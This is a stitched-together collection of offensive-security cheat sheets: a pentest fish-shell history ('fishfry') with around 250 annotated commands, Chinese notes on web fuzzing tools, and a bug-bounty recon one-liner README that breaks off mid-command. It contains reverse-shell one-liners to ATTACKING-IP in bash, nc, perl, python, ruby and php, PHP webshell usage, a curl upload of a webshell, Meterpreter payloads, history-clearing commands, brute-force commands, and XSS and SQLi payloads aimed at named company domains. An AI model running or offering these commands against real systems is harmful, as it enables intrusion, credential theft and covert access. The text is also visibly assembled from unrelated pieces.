# fishfry replaces fish history with a history tailored to pentesters for efficency and newbie pentesters for learning, new linux users, and several distro specific commands over 250 total commands with full discriptions. replace the stock fishshell history located at '~/.config/fish/fish_history' with '~/.config/fish/fish_history_pentesting_suite' - Ubuntu replace the stock fishshell history located at '/root/.local/share/fish/fish_history' with '/root/fishfry/fish_history_pentesting_suite' - kali/debian special thanks to g0tmi1k, #vulhub, #kali-linux, /r/kalilinux full listing and description of the commands: nmap -v -sS -A -T4 target - Nmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service version info, traceroute and scripts against services' nmap -v -sS -p--A -T4 target - As above but scans all TCP ports (takes a lot longer) nmap -v -sU -sS -p- -A -T4 target - As above but scans all TCP ports and UDP scan (takes even longer) nmap -v -p 445 --script=smb-check-vulns--script-args=unsafe=1 192.168.1.X - Nmap script to scan for vulnerable SMB servers - WARNING: unsafe=1 may cause knockover ls /usr/share/nmap/scripts/* | grep ftp - Search nmap scripts for keywords nbtscan 192.168.1.0/24 - Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain enum4linux -a target-ip - Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing nbtscan -v - Displays the nbtscan version nbtscan -f target(s) - This shows the full NBT resource record responses for each machine scanned, not a one line summary, use this options when scanning a single host nbtscan -O file-name.txt target(s) - Sends output to a file nbtscan -H - Generate an HTTP header nbtscan -P - Generate Perl hashref output, which can be loaded into an existing program for easier processing, much easier than parsing text output nbtscan -V - Enable verbose mode nbtscan -n - Turns off this inverse name lookup, for hanging resolution nbtscan -p PORT target(s) - This allows specification of a UDP port number to be used as the source in sending a query nbtscan -m - Include the MAC (aka "Ethernet") addresses in the response, which is already implied by the -f option. netdiscover -r 192.168.1.0/24 - Discovers IP, MAC Address and MAC vendor on the subnet from ARP, helpful for confirming you're on the right VLAN at $client site nbtscan 192.168.1.0/24 - Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain enum4linux -a target-ip - Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing python -m SimpleHTTPServer 80 - Run a basic http server, great for serving up shells etc mount 192.168.1.1:/vol/share /mnt/nfs - Mount NFS share to /mnt/nfs mount -t cifs -o username=user,password=pass,domain=blah //192.168.1.X/share-name /mnt/cifs - Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history) net use Z: \\win-server\share password /user:domain\janedoe /savecred /p:no - Mount a Windows share on Windows from the command line apt-get install smb4k -y - Install smb4k on Kali, useful Linux GUI for browsing SMB shares nc -v 192.168.1.1 25 - telnet 192.168.1.1 25 - Basic versioning / finger printing via displayed banner nmpcheck -t 192.168.1.X -c public snmpwalk -c public -v1 192.168.1.X 1 | grep hrSWRunName | cut -d* * -f snmpenum -t 192.168.1.X onesixtyone -c names -i hosts nslookup -> set type=any -> ls -d blah.com - Windows DNS zone transfer dig axfr blah.com @ns1.blah.com - Linux DNS zone transfer dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml nikto -h 192.168.1.1 - Perform a nikto scan against target dirbuster - Configure via GUI, CLI input doesn't work most of the time tcpdump tcp port 80 -w output.pcap -i eth0 - tcpdump for port 80 on interface eth0, outputs to output.pcap python /usr/share/doc/python-impacket-doc/examples /samrdump.py 192.168.XXX.XXX - Enumerate users from SMB ridenum.py 192.168.XXX.XXX 500 50000 dict.txt - RID cycle SMB / enumerate users from SMB snmpwalk public -v1 192.168.X.XXX 1 |grep 77.1.2.25 | cut -d” “ -f4 - Enmerate users from SNMP python /usr/share/doc/python-impacket-doc/examples/samrdump.py SNMP 192.168.X.XXX - Enmerate users from SNMP nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt (then grep) - Search for SNMP servers with nmap, grepable output /usr/share/wordlists - Kali word lists hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX ftp -V - Hydra FTP brute force hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX pop3 -V - Hydra POP3 brute force hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V - Hydra SMTP brute force John The Ripper - JTR john --wordlist=/usr/share/wordlists/rockyou.txt hashes - JTR password cracking john --format=descrypt --wordlist /usr/share/wordlists/rockyou.txt hash.txt - JTR forced descrypt cracking with wordlist john --format=descrypt hash --show - JTR forced descrypt brute force cracking searchsploit windows 2003 | grep -i local - Search exploit-db for exploit, in this example windows 2003 + local esc site:exploit-db.com exploit kernel <= 3 - Use google to search exploit-db.com for exploits grep -R "W7" /usr/share/metasploit-framework /modules/exploit/windows/* - Search metasploit modules using grep - msf search sucks a bit netstat -tulpn - Show Linux network ports with process ID's (PIDs) watch ss -stplu - Watch TCP, UDP open ports in real time with socket summary. lsof -i - Show established connections. macchanger -m MACADDR INTR - Change MAC address on KALI Linux. ifconfig eth0 192.168.2.1/24 - Set IP address in Linux. ifconfig eth0:1 192.168.2.3/24 - Add IP address to existing network interface in Linux. ifconfig eth0 hw ether MACADDR - Change MAC address in Linux using ifconfig. ifconfig eth0 mtu 1500 - Change MTU size Linux using ifconfig, change 1500 to your desired MTU. dig -x 192.168.1.1 - Dig reverse lookup on an IP address. host 192.168.1.1 - Reverse lookup on an IP address, in case dig is not installed. dig @192.168.2.2 domain.com -t AXFR - Perform a DNS zone transfer using dig. host -l domain.com nameserver - Perform a DNS zone transfer using host. nbtstat -A x.x.x.x - Get hostname for IP address. ip addr add 192.168.2.22/24 dev eth0 - Adds a hidden IP address to Linux, does not show up when performing an ifconfig. tcpkill -9 host google.com - Blocks access to google.com from the host machine. echo "1" > /proc/sys/net/ipv4/ip_forward - Enables IP forwarding, turns Linux box into a router - handy for routing traffic through a box. echo "8.8.8.8" > /etc/resolv.conf - Use Google DNS. whoami - Shows currently logged in user on Linux. id - Shows currently logged in user and groups for the user. last - Shows last logged in users. mount - Show mounted drives. df -h - Shows disk usage in human readable output. echo "user:passwd" | chpasswd - Reset password in one line. getent passwd - List users on Linux. strings /usr/local/bin/blah - Shows contents of none text files, e.g. whats in a binary. uname -ar - Shows running kernel version. PATH=$PATH:/my/new-path - Add a new PATH, handy for local FS manipulation. history - Show bash history, commands the user has entered previously. cat /etc/redhat-release - Shows Redhat / CentOS version number. rpm -qa - List all installed RPM's on an RPM based Linux distro. rpm -q --changelog openvpn - Check installed RPM is patched against CVE, grep the output for CVE. yum update - Update all RPM packages with YUM, also shows whats out of date. yum update httpd - Update individual packages, in this example HTTPD (Apache). yum install package - Install a package using YUM. yum --exclude=package kernel* update - Exclude a package from being updates with YUM. yum remove package - Remove package with YUM. yum erase package - Remove package with YUM. yum list package - Lists info about yum package. yum provides httpd - What a packages does, e.g Apache HTTPD Server. yum info httpd - Shows package info, architecture, version etc. yum localinstall blah.rpm - Use YUM to install local RPM, settles deps from repo. yum deplist package - Shows deps for a package. yum list installed | more - List all installed packages. yum grouplist | more - Show all YUM groups. yum groupinstall 'Development Tools' - Install YUM group. cat /etc/debian_version - Shows Debian version number. cat /etc/*-release - Shows Ubuntu version number. dpkg -l - List all installed packages on Debian / .deb based Linux distro. Linux User Management useradd new-user - Creates a new Linux user. passwd username - Reset Linux user password, enter just passwd if you are root. deluser username - Remove a Linux user. unzip archive.zip - Extracts zip file on Linux. zipgrep *.txt archive.zip - Search inside a .zip archive. tar xf archive.tar - Extract tar file Linux. tar xvzf archive.tar.gz - Extract a tar.gz file Linux. tar xjf archive.tar.bz2 - Extract a tar.bz2 file Linux. tar ztvf file.tar.gz | grep blah - Search inside a tar.gz file. gzip -d archive.gz - Extract a gzip file Linux. zcat archive.gz - Read a gz file Linux without decompressing. zless archive.gz - Same function as the less command for .gz archives. zgrep 'blah' /var/log/maillog*.gz - Search inside .gz archives on Linux, search inside of compressed log files. vim file.txt.gz - Use vim to read .txt.gz files (my personal favorite). upx -9 -o output.exe input.exe - UPX compress .exe file Linux. zip -r file.zip /dir/* - Creates a .zip file on Linux. tar cf archive.tar files - Creates a tar file on Linux. tar czf archive.tar.gz files - Creates a tar.gz file on Linux. tar cjf archive.tar.bz2 files - Creates a tar.bz2 file on Linux. gzip file - Creates a file.gz file on Linux. df -h blah - Display size of file / dir Linux. diff file1 file2 - Compare / Show differences between two files on Linux. md5sum file - Generate MD5SUM Linux. md5sum -c blah.iso.md5 - Check file against MD5SUM on Linux, assuming both file and .md5 are in the same dir. file blah - Find out the type of file on Linux, also displays if file is 32 or 64 bit. dos2unix - Convert Windows line endings to Unix / Linux. base64 < input-file > output-file - Base64 encodes input file and outputs a Base64 encoded file called output-file. base64 -d < input-file > output-file - Base64 decodes input file and outputs a Base64 decoded file called output-file. touch -r ref-file new-file - Creates a new file using the timestamp data from the reference file, drop the -r to simply create a file. rm -rf - Remove files and directories without prompting for confirmation. $ smbmount //server/share /mnt/win -o user=username,password=password1 , smbclient -U user \\\\server\\share , $ mount -t cifs -o username=user,password=password //x.x.x.x/share /mnt/share init 6 - Reboot Linux from the command line. gcc -o output.c input.c - Compile C code. gcc -m32 -o output.c input.c - Cross compile C code, compile 32 bit binary on 64 bit Linux. unset HISTORYFILE - Disable bash history logging. rdesktop X.X.X.X - Connect to RDP server from Linux. kill -9 $$ - Kill current session. chown user:group blah - Change owner of file or dir. chown -R user:group blah - Change owner of file or dir and all underlying files / dirs - recersive chown. chmod 600 file - Change file / dir permissions, see [Linux File System Permissons](#linux-file-system-permissions) for details. Clear bash history - $ ssh [email protected] | cat /dev/null > ~/.bash_history 777 rwxrwxrwx No restriction, global WRX any user can do anything. 755 rwxr-xr-x Owner has full access, others can read and execute the file. 700 rwx------ Owner has full access, no one else has access. 666 rw-rw-rw- All users can read and write but not execute. 644 rw-r--r-- Owner can read and write, everyone else can read. 600 rw------- Owner can read and write, everyone else has no access. / - also know as "slash" or the root. /bin - Common programs, shared by the system, the system administrator and the users. /boot - Boot files, boot loader (grub), kernels, vmlinuz /dev - Contains references to system devices, files with special properties. /etc - Important system config files. /home - Home directories for system users. /lib - Library files, includes files for all kinds of programs needed by the system and the users. /lost+found - Files that were saved during failures are here. /mnt - Standard mount point for external file systems. /media - Mount point for external file systems (on some distros). /net - Standard mount point for entire remote file systems - nfs. /opt - Typically contains extra and third party software. /proc - A virtual file system containing information about system resources. /root - root users home dir. /sbin - Programs for use by the system and the system administrator. /tmp - Temporary space for use by the system, cleaned upon reboot. /usr -Programs, libraries, documentation etc. for all user-related programs. /var - Storage for all variable files and temporary files created by users, such as log files, mail queue, print spooler. Web servers, Databases etc. /etc/passwd - Contains local Linux users. /etc/shadow - Contains local account password hashes. /etc/group - Contains local account groups. /etc/init.d/ - Contains service init script - worth a look to see whats installed. /etc/hostname - System hostname. /etc/network/interfaces - Network interfaces. /etc/resolv.conf - System DNS servers. /etc/profile - System environment variables. ~/.ssh/ - SSH keys. ~/.bash_history - Users bash history log. /var/log/ - Linux system log files are typically stored here. /var/adm/ - UNIX system log files are typically stored here. /var/log/apache2/access.log & /var/log/httpd/access.log - Apache access log file typical path. /etc/fstab - File system mounts. gcc -o exploit exploit.c - Basic GCC compile gcc -m32 exploit.c -o exploit - Cross compile 32 bit binary on 64 bit Linux i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe - Compile windows .exe on Linux gcc -o suid suid.c gcc -m32 -o suid suid.c - for 32bit root@kali:~# nc -nvlp 80 , nc: listening on :: 80 ... , nc: listening on 0.0.0.0 80 ... exec /bin/bash 0&0 2>&0 , 0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196 , exec 5<>/dev/tcp/ATTACKING-IP/80 , cat <&5 | while read line; do $line 2>&5 >&5; done , # or: , while read line 0<&5; do $line 2>&5 >&5; done , bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1 php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");' , (Assumes TCP uses file descriptor 3. If it doesn't work, try 4,5, or 6) nc -e /bin/sh ATTACKING-IP 80 , /bin/sh | nc ATTACKING-IP 80 , rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p , telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443 perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' , #perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' r = Runtime.getRuntime() , p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) , p.waitFor() python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' /usr/share/webshells/php/php-reverse-shell.php - Pen Test Monkey - PHP Reverse Shell /usr/share/webshells/php/php-findsock-shell.php /usr/share/webshells/php/findsock.c - Pen Test Monkey, Findsock Shell. Build gcc -o findsock findsock.c (be mindfull of the target servers architecture), execute with netcat not a browser nc -v target 80 /usr/share/webshells/php/simple-backdoor.php - PHP backdoor, usefull for CMD execution if upload / code injection is possible, usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd /usr/share/webshells/php/php-backdoor.php - Larger PHP shell, with a text input box for command execution. /usr/share/webshells/perl/perl-reverse-shell.pl - Pen Test Monkey - Perl Reverse Shell /usr/share/webshells/perl/perlcmd.cgi - Pen Test Monkey, Perl Shell. Usage: http://target.com/perlcmd.cgi?cat /etc/passwd /usr/share/webshells/cfm/cfexec.cfm - Cold Fusion Shell - aka CFM Shell /usr/share/webshells/asp/ - Kali ASP Shells /usr/share/webshells/aspx/ - Kali ASPX Shells /usr/share/webshells/jsp/jsp-reverse.jsp - Kali JSP Reverse Shell Python TTY Shell Trick - python -c 'import pty;pty.spawn("/bin/bash")' - echo os.system('/bin/bash') Spawn Interactive sh shell - /bin/sh -i Spawn Perl TTY Shell - exec "/bin/sh"; perl —e 'exec "/bin/sh";' Spawn Ruby TTY Shell - exec "/bin/sh" Spawn Lua TTY Shell - os.execute('/bin/sh') Run shell commands from vi: - :!bash Spawn TTY Shell NMAP - !sh ssh -L 9999:10.0.2.2:445 [email protected] - Port 9999 locally is forwarded to port 445 on 10.0.2.2 through host 192.168.2.250 ssh -D 127.0.0.1:9050 [email protected] - Dynamically allows all port forwards to the subnets availble on the target. set payload windows/meterpreter/reverse_tcp - Windows reverse tcp payload set payload windows/vncinject/reverse_tcp set ViewOnly false - Meterpreter Windows VNC Payload set payload linux/meterpreter/reverse_tcp - Meterpreter Linux Reverse Payload MD5 Hash Length - 16 Bytes SHA-1 Hash Length - 20 Bytes SHA-256 Hash Length - 32 Bytes SHA-512 Hash Length - 64 Bytes sqlmap -u http://meh.com --forms --batch --crawl=10--cookie=jsessionid=54321 --level=5 --risk=3 - Automated sqlmap scan sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/blah.php" - Targeted sqlmap scan sqlmap -u "http://meh.com/meh.php?id=1"--dbms=mysql --tech=U --random-agent --dump - Scan url for union + error based injection with mysql backend and use a random user agent + database dump sqlmap -o -u "http://meh.com/form/" --forms - sqlmap check form for injection sqlmap -o -u "http://meh/vuln-form" --forms -D database-name -T users --dump - sqlmap dump and crack hashes for table users on database-name
# web 批量根据域名访问判活网页 &#x20; httprobe&#x20; AQUATONE fff [https://github.com/tomnomnom/fff](https://github.com/tomnomnom/fff) 记了好多工具,其实还没有用过应该都差不多还是想自己写,其实自己写的应该也差不多 fuzzing&#x20; ``` ffuf preferred !change user-agent! #######directory 403 but file still can be read if have right name if target is a linux machine consider mixedcase dict feroxbuster dirfuzz tool wrote in rust https://github.com/epi052/feroxbuster ``` CMS scan ``` foreign CMSeek https://github.com/Tuhinshubhra/CMSeeK China xray ``` webdav ``` webdav command line interactive tool: cadaver also can use curl to interact with webdav though 403 curl --upload-file ./phpwebshell.php --user admin:admin http://127.0.0.1/webdav/ ``` WAFbypass `github.com/m4ll0k/Atlas sqlmap tamper suggester` json web token JWT `github.com/ticarpi/jwt_tool` **`git hack `** {% embed url="https://github.com/internetwache/GitTools" %} {% embed url="https://github.com/zricethezav/gitleaks" %} {% embed url="https://github.com/trufflesecurity/truffleHog" %}
## 👑 What is KingOfOneLineTips Project ? 👑 Our main goal is to share tips from some well-known bughunters. Using recon methodology, we are able to find subdomains, apis, and tokens that are already exploitable, so we can report them. We wish to influence Onelinetips and explain the commands, for the better understanding of new hunters.. ## Join Us [![Telegram](https://patrolavia.github.io/telegram-badge/chat.png)](https://t.me/KingOfTipsBugBounty) [![GitHub followers](https://img.shields.io/github/followers/bminossi.svg?style=social&label=Follow&maxAge=2592000)](https://github.com/bminossi?tab=followers) [![GitHub followers](https://img.shields.io/github/followers/OfJAAH.svg?style=social&label=Follow&maxAge=2592000)](https://github.com/OfJAAH?tab=followers) ## Special thanks - [@Stokfredrik](https://twitter.com/stokfredrik) - [@Jhaddix](https://twitter.com/Jhaddix) - [@pdiscoveryio](https://twitter.com/pdiscoveryio) - [@TomNomNom](https://twitter.com/TomNomNom) - [@jeff_foley](https://twitter.com/@jeff_foley) - [@NahamSec](https://twitter.com/NahamSec) - [@j3ssiejjj](https://twitter.com/j3ssiejjj) ## Scripts that need to be installed To run the project, you will need to install the following programs: - [Anew](https://github.com/tomnomnom/anew) - [Qsreplace](https://github.com/tomnomnom/qsreplace) - [Subfinder](https://github.com/projectdiscovery/subfinder) - [Gospider](https://github.com/jaeles-project/gospider) - [Github-Search](https://github.com/gwen001/github-search) - [Amass](https://github.com/OWASP/Amass) - [Hakrawler](https://github.com/hakluke/hakrawler) - [Gargs](https://github.com/brentp/gargs) - [Chaos](https://github.com/projectdiscovery/chaos-client) - [Httpx](https://github.com/projectdiscovery/httpx) - [Findomain](https://github.com/Edu4rdSHL/findomain) - [Gf](https://github.com/tomnomnom/gf) - [Unew](https://github.com/dwisiswant0/unew) - [Rush](https://github.com/shenwei356/rush) ### Search Asn Amass - [Explaining command](https://bit.ly/2EMooDB) Amass intel will search the organization "paypal" from a database of ASNs at a faster-than-default rate. It will then take these ASN numbers and scan the complete ASN/IP space for all tld's in that IP space (paypal.com, paypal.co.id, paypal.me). ```bash amass intel -org paypal -max-dns-queries 2500 | awk -F, '{print $1}' ORS=',' | sed 's/,$//' | xargs -P3 -I@ -d ',' amass intel -asn @ -max-dns-queries 2500'' ``` ### Using chaos search js - [Explaining command](https://bit.ly/32vfRg7) Chaos is an API by Project Discovery that discovers subdomains. Here we are querying thier API for all known subdoains of "att.com". We are then using httpx to find which of those domains is live and hosts an HTTP or HTTPs site. We then pass those URLs to GoSpider to visit them and crawl them for all links (javascript, endpoints, etc). We then grep to find all the JS files. We pipe this all through anew so we see the output iterativlely (faster) and grep for "(http|https)://att.com" to make sure we dont recieve output for domains that are not "att.com". ```bash chaos -d att.com | httpx -silent | xargs -I@ -P20 sh -c 'gospider -a -s "@" -d 2' | grep -Eo "(http|https)://[^/"].*.js+" | sed "s#] ``` ### Search Subdomain using Gospider - [Explaining command](https://bit.ly/2QtG9do) GoSpider to visit them and crawl them for all links (javascript, endpoints, etc) we use some blacklist, so that it doesn’t travel, not to delay, grep is a command-line utility for searching plain-text data sets for lines that match a regular expression to search HTTP and HTTPS ```bash gospider -d 0 -s "https://site.com" -c 5 -t 100 -d 5 --blacklist jpg,jpeg,gif,css,tif,tiff,png,ttf,woff,woff2,ico,pdf,svg,txt | grep -Eo '(http|https)://[^/"]+' | anew ``` ### Using gospider to chaos - [Explaining command](https://bit.ly/2D4vW3W) GoSpider to visit them and crawl them for all links (javascript, endpoints, etc) chaos is a subdomain search project, to use it needs the api, to xargs is a command on Unix and most Unix-like operating systems used to build and execute commands from standard input. ```bash chaos -d paypal.com -bbq -filter-wildcard -http-url | xargs -I@ -P5 sh -c 'gospider -a -s "@" -d 3' ``` ### Using recon.dev and gospider crawler subdomains - [Explaining command](https://bit.ly/32pPRDa) We will use recon.dev api to extract ready subdomains infos, then parsing output json with jq, replacing with a Stream EDitor all blank spaces If anew, we can sort and display unique domains on screen, redirecting this output list to httpx to create a new list with just alive domains. Xargs is being used to deal with gospider with 3 parallel proccess and then using grep within regexp just taking http urls. ```bash curl "https://recon.dev/api/search?key=apiKEY&domain=paypal.com" |jq -r '.[].rawDomains[]' | sed 's/ //g' | anew |httpx -silent | xargs -P3 -I@ gospider -d 0 -s @ -c 5 -t 100 -d 5 --blacklist jpg,jpeg,gif,css,tif,tiff,png,ttf,woff,woff2,ico,pdf,svg,txt | grep -Eo '(http|https)://[^/"]+' | anew ``` ### PSQL - search subdomain using cert.sh - [Explaining command](https://bit.ly/32rMA6e) Make use of pgsql cli of crt.sh, replace all comma to new lines and grep just twitch text domains with anew to confirm unique outputs ```bash psql -A -F , -f querycrt -h http://crt.sh -p 5432 -U guest certwatch 2>/dev/null | tr ', ' '\n' | grep twitch | anew ``` ### Search subdomains using github and httpx - [Github-search](https://github.com/gwen001/github-search) Using python3 to search subdomains, httpx filter hosts by up status-code response (200) ```python ./github-subdomains.py -t APYKEYGITHUB -d domaintosearch | httpx --title ``` ### Search SQLINJECTION using qsreplace search syntax error - [Explained command](https://bit.ly/3hxFWS2) ```bash grep "=" .txt| qsreplace "' OR '1" | httpx -silent -store-response-dir output -threads 100 | grep -q -rn "syntax\|mysql" output 2>/dev/null && \printf "TARGET \033[0;32mCould Be Exploitable\e[m\n" || printf "TARGET \033[0;31mNot Vulnerable\e[m\n" ``` ### Search subdomains using jldc - [Explained command](https://bit.ly/2YBlEjm) ```bash curl -s "https://jldc.me/anubis/subdomains/att.com" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | anew ``` ### Search subdomains in assetfinder using hakrawler spider to search links in content responses - [Explained command](https://bit.ly/3hxRvZw) ```bash assetfinder -subs-only tesla.com -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | xargs -I% -P10 sh -c 'hakrawler -plain -linkfinder -depth 5 -url %' | grep "tesla" ``` ### Search subdomains in cert.sh - [Explained command](https://bit.ly/2QrvMXl) ```bash curl -s "https://crt.sh/?q=%25.att.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | httpx -title -silent | anew ``` ### Search subdomains in cert.sh assetfinder to search in link /.git/HEAD - [Explained command](https://bit.ly/3lhFcTH) ```bash curl -s "https://crt.sh/?q=%25.tesla.com&output=json" | jq -r '.[].name_value' | assetfinder -subs-only | sed 's#$#/.git/HEAD#g' | httpx -silent -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew ``` ```bash curl -s "https://crt.sh/?q=%25.enjoei.com.br&output=json" | jq -r '.[].name_value' | assetfinder -subs-only | httpx -silent -path /.git/HEAD -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew ``` ### Collect js files from hosts up by gospider - [Explained command](https://bit.ly/3aWIwyI) ```bash xargs -P 500 -a pay -I@ sh -c 'nc -w1 -z -v @ 443 2>/dev/null && echo @' | xargs -I@ -P10 sh -c 'gospider -a -s "https://@" -d 2 | grep -Eo "(http|https)://[^/\"].*\.js+" | sed "s#\] \- #\n#g" | anew' ``` ### Subdomain search Bufferover resolving domain to httpx - [Explained command](https://bit.ly/3lno9j0) ```bash curl -s https://dns.bufferover.run/dns?q=.sony.com |jq -r .FDNS_A[] | sed -s 's/,/\n/g' | httpx -silent | anew ``` ### Using gargs to gospider search with parallel proccess - [Gargs](https://github.com/brentp/gargs) - [Explained command](https://bit.ly/2EHj1FD) ```bash httpx -ports 80,443,8009,8080,8081,8090,8180,8443 -l domain -timeout 5 -threads 200 --follow-redirects -silent | gargs -p 3 'gospider -m 5 --blacklist pdf -t 2 -c 300 -d 5 -a -s {}' | anew stepOne ``` ### Injection xss using qsreplace to urls filter to gospider - [Explained command](https://bit.ly/3joryw9) ```bash gospider -S domain.txt -t 3 -c 100 | tr " " "\n" | grep -v ".js" | grep "https://" | grep "=" | qsreplace '%22><svg%20onload=confirm(1);>' ``` ### Extract URL's to apk - [Explained command](https://bit.ly/2QzXwJr) ```bash apktool d app.apk -o uberApk;grep -Phro "(https?://)[\w\.-/]+[\"'\`]" uberApk/ | sed 's#"##g' | anew | grep -v "w3\|android\|github\|schemas.android\|google\|goo.gl" ``` ### Chaos to Gospider - [Explained command](https://bit.ly/3gFJbpB) ```bash chaos -d att.com -o att -silent | httpx -silent | xargs -P100 -I@ gospider -c 30 -t 15 -d 4 -a -H "x-forwarded-for: 127.0.0.1" -H "User-Agent: Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" -s @ ``` ### Checking invalid certificate - [Real script](https://bit.ly/2DhAwMo) - [Script King](https://bit.ly/34Z0kIH) ```bash xargs -a domain -P1000 -I@ sh -c 'bash cert.sh @ 2> /dev/null' | grep "EXPIRED" | awk '/domain/{print $5}' | httpx ``` ### Using shodan & Nuclei - [Explained command](https://bit.ly/3jslKle) Shodan is a search engine that lets the user find specific types of computers connected to the internet, AWK Cuts the text and prints the third column. httpx is a fast and multi-purpose HTTP using -silent. Nuclei is a fast tool for configurable targeted scanning based on templates offering massive extensibility and ease of use, You need to download the nuclei templates. ```bash shodan domain DOMAIN TO BOUNTY | awk '{print $3}' | httpx -silent | nuclei -t /nuclei-templates/ ``` ### Open Redirect test using gf. - [Explained command](https://bit.ly/3hL263x) echo is a command that outputs the strings it is being passed as arguments. What to Waybackurls? Accept line-delimited domains on stdin, fetch known URLs from the Wayback Machine for .domain.com and output them on stdout. Httpx? is a fast and multi-purpose HTTP. GF? A wrapper around grep to avoid typing common patterns and anew Append lines from stdin to a file, but only if they don't already appear in the file. Outputs new lines to stdout too, removes duplicates. ```bash echo "domain" | waybackurls | httpx -silent -timeout 2 -threads 100 | gf redirect | anew ``` ### Using shodan to jaeles "How did I find a critical today? well as i said it was very simple, using shodan and jaeles". - [Explained command](https://bit.ly/2QQfY0l) ```bash shodan domain domain| awk '{print $3}'| httpx -silent | anew | xargs -I@ jaeles scan -c 100 -s /jaeles-signatures/ -u @ ``` ### Using Chaos to jaeles "How did I find a critical today?. - [Explained command](https://bit.ly/2YXiK8N) To chaos this project to projectdiscovery, Recon subdomains, using httpx, if we see the output from chaos domain.com we need it to be treated as http or https, so we use httpx to get the results. We use anew, a tool that removes duplicates from @TomNomNom, to get the output treated for import into jaeles, where he will scan using his templates. ```bash chaos -d domain | httpx -silent | anew | xargs -I@ jaeles scan -c 100 -s /jaeles-signatures/ -u @ ``` ### Using shodan to jaeles - [Explained command](https://bit.ly/2Dkmycu) ```bash domain="domaintotest";shodan domain $domain | awk -v domain="$domain" '{print $1"."domain}'| httpx -threads 300 | anew shodanHostsUp | xargs -I@ -P3 sh -c 'jaeles -c 300 scan -s jaeles-signatures/ -u @'| anew JaelesShodanHosts ``` ### Search to files using assetfinder and ffuf - [Explained command](https://bit.ly/2Go3Ba4) ```bash assetfinder att.com | sed 's#*.# #g' | httpx -silent -threads 10 | xargs -I@ sh -c 'ffuf -w path.txt -u @/FUZZ -mc 200 -H "Content-Type: application/json" -t 150 -H "X-Forwarded-For:127.0.0.1"' ``` ### HTTPX using new mode location and injection XSS using qsreplace. - [Explained command](https://bit.ly/2Go3Ba4) ```bash httpx -l master.txt -silent -no-color -threads 300 -location 301,302 | awk '{print $2}' | grep -Eo '(http|https)://[^/"].*' | tr -d '[]' | anew | xargs -I@ sh -c 'gospider -d 0 -s @' | tr ' ' '\n' | grep -Eo '(http|https)://[^/"].*' | grep "=" | qsreplace "<svg onload=alert(1)>" "' ``` ### Grap internal juicy paths and do requests to them. - [Explained command](https://bit.ly/357b1IY) ```bash export domain="https://target";gospider -s $domain -d 3 -c 300 | awk '/linkfinder/{print $NF}' | grep -v "http" | grep -v "http" | unfurl paths | anew | xargs -I@ -P50 sh -c 'echo $domain@ | httpx -silent -content-length' ``` ### Download to list bounty targets We inject using the sed .git/HEAD command at the end of each url. - [Explained command](https://bit.ly/2R2gNn5) ```bash wget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv | cat domains.txt | sed 's#$#/.git/HEAD#g' | httpx -silent -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew ``` ### Using to findomain to SQLINJECTION. - [Explained command](https://bit.ly/2ZeAhcF) ```bash findomain -t testphp.vulnweb.com -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli -batch --random-agent --level 1 ``` ### Jaeles scan to bugbounty targets. - [Explained command](https://bit.ly/3jXbTnU) ```bash wget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv ; cat domains.txt | anew | httpx -silent -threads 500 